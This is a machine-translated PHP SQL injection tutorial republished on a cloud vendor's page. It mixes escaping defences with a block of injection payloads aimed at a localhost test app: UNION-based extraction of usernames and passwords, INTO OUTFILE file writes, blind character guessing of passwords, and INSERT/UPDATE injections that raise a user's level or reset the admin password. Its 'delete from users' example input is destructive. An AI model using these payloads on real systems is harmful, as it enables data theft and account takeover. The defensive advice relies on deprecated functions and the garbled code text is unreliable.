Phpsql injection attacks and precautions

Source: Internet
Author: User
Phpsql injection attacks and precautions

  1. // Supposed input
  2. $ Name = "ilia '; delete from users ;";
  3. Mysql_query ("SELECT * FROM users WHERE name = '{$ name }'");

Obviously, the command executed by the database is:

  1. SELECT * FROM users WHERE name = ilia; delete from users

This has disastrous consequences for the database-all records have been deleted.

However, if the database you are using is MySQL, the mysql_query () function does not allow direct execution of such operations (you cannot operate multiple statements in a single row), so you can rest assured. If the database you are using is SQLite or PostgreSQL and supports such a statement, you will face a disaster recovery.

As mentioned above, SQL injection mainly submits insecure data to the database for attack purposes. To prevent SQL injection attacks, PHP comes with a function that can process input strings and perform initial security processing on the input at a lower level, that is, Magic Quotes. (Php. ini magic_quotes_gpc ). If the magic_quotes_gpc option is enabled, the single quotation marks, double quotation marks, and other characters in the input string will be automatically followed by a backslash \.

However, Magic Quotes is not a common solution. it does not block all potentially dangerous characters and Magic Quotes is not enabled on many servers. Therefore, we also need to use other methods to prevent SQL injection.

Many databases provide such input data processing functions. For example, a MySQL operation function in PHP contains a function named mysql_real_escape_string (), which can escape special characters and characters that may cause database operation errors. This code:

  1. // If Magic Quotes is enabled

  2. If (get_magic_quotes_gpc ()){
  3. $ Name = stripslashes ($ name );
  4. } Else {
  5. $ Name = mysql_real_escape_string ($ name );
  6. }

  7. Mysql_query ("SELECT * FROM users WHERE name = '{$ name }'");

Note: Before using the functions provided by the database, you must determine whether Magic Quotes is enabled, as in the previous example. Otherwise, an error occurs when two duplicate operations are performed. If MQ is enabled, remove the added \ to obtain real data.

In addition to preprocessing data in the preceding string format, you must also perform preprocessing when storing Binary data to the database. Otherwise, the data may conflict with the storage format of the database, causing database crash, data record loss, or even data loss of the entire database. Some databases, such as PostgreSQL, provide a function pg_escape_bytea () specifically used to encode binary data. it can encode data like Base64.

For example:

  1. // For plain-text data use:

  2. Pg_escape_string ($ regular_strings );

  3. // For binary data use:

  4. Pg_escape_bytea ($ binary_data );

In another case, this mechanism should also be used. That is, the database system itself does not support multi-byte languages such as Chinese and Japanese. Some ASCII ranges overlap with those of binary data.

We recommend two articles on prevention of php SQL injection. one is provided by 360 security, and the other is the php anti-SQL injection code collected by the author, which is very powerful and useful.
  • Php anti-SQL injection code (provided in 360)
  • Php code to prevent SQL injection vulnerability filtering functions

However, encoding data may result in invalid query statements such as LIKE abc %.

Php SQL injection implementation(The test code is safe)

The focus of SQL injection is to construct SQL statements. Only SQL statements can be used flexibly to construct the NIUBI injection string. After completing the course, I wrote some notes and made them ready for use at any time. I hope that you will first understand the basic principles of SQL when reading the following content. The code in the note comes from the network. === Basic part === Current Table Query: http: // 127.0.0.1/injection/user. php? Username = angel 'and LENGTH (password) = '6 http: // 127.0.0.1/injection/user. php? Username = angel 'and LEFT (password, 1) ='m

Union joint statement: http: // 127.0.0.1/injection/show. php? Id = 1 'Union select 1, username, password from user/* http: // 127.0.0.1/injection/show. php? Id = 'Union select 1, username, password from user /*

Export file: http: // 127.0.0.1/injection/user. php? Username = angel 'into outfile' c:/file.txt http: // 127.0.0.1/injection/user. php? Username = 'or 1 = 1 into outfile 'C:/file.txt http: // 127.0.0.1/injection/show. php? Id = 'Union select 1, username, password from user into outfile 'C:/user.txt

INSERT statement: insert into 'user' (userid, username, password, homepage, userlevel) VALUES ('', '$ username',' $ password', '$ homepage ', '1'); construct the homepage value: http://jbxue.com ', '3') # The SQL statement becomes: INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http: // jbxue.com ', '3') #', '1 ');

UPDATE statement: I like to understand this SQL statement first.

  1. UPDATE user SET password = 'md5 ($ password) ', homepage =' $ homepage 'WHERE id =' $ ID'

If this SQL statement is modified to the following form, injection 1 is implemented: after modifying the homepage value to http://jbxue.com ', the SQL statement becomes

  1. UPDATE user SET password = 'mypass', homepage = 'http: // jbxue.com ', userlevel = '3' WHERE id =' $ ID'

Userlevel is user level 2: Change password

  1. Mypass) 'Where username = 'admin '#

Then the SQL statement becomes

  1. UPDATE user SET password = 'md5 (mypass) 'WHERE username = 'admin' #)', homepage = '$ homepage' WHERE id = '$ ID'

3: After the id value is changed to 'OR username = 'admin', the SQL statement becomes

  1. UPDATE user SET password = 'md5 ($ password) ', homepage =' $ homepage 'WHERE id = ''OR username = 'admin'

=== Advanced section === common MySQL built-in function DATABASE () USER () SYSTEM_USER () SESSION_USER () CURRENT_USER () database () version () SUBSTRING () MID () char () load_file ()...... Function application UPDATE article SET title = DATABASE () WHERE id = 1 http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, database (), version ()

  1. SELECT * FROM user WHERE username = char (97,110,103,101,108)
  2. # Char (97,110,103,101,108) is equivalent to angel, decimal

Http: // 127.0.0.1/injection/user. php? Userid = 1 and password = char (109,121,112, 97,115,115) http: // 127.0.0.1/injection/user. php? Userid = 1 and LEFT (password, 1)> char (100) http: // 127.0.0.1/injection/user. php? Userid = 1 and ord (mid (password, 111)>

Determine the number and type of fields in the data structure. http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, 1 http: // 127.0.0.1/injection/show. php? Id =-1 union select char (97), char (97), char (97)

Guess the data table name http: // 127.0.0.1/injection/show. php? Id =-1 union select 1, 1 from members

Obtain the username and password for cross-table queries. http: // 127.0.0.1/ymdown/show. php? Id = 10000 union select 1, username, 1, password, 1 from ymdown_user where id = 1

Others # verify the first password http: // 127.0.0.1/ymdown/show. php? Id = 10 union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 49

=== Injection prevention === magic_quotes_gpc On the server side is set to On display_errors and Off encoding

  1. $ Keywords = addslashes ($ keywords );
  2. $ Keywords = str_replace ("_", "\ _", $ keywords );
  3. $ Keywords = str_replace ("%", "\ %", $ keywords );

The value type uses intval () to capture and replace the string type SQL statement parameters. you must add the following code in single quotes to prevent injection.

  1. If (get_magic_quotes_gpc ()){
  2. //....
  3. } Else {
  4. $ Str = mysql_real_escape_string ($ str );
  5. $ Keywords = str_replace ("_", "\ _", $ keywords );
  6. $ Keywords = str_replace ("%", "\ %", $ keywords );
  7. }

Useful functions: stripslashes () get_magic_quotes_gpc () mysql_real_escape_string () strip_tags () array_map () addslashes ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.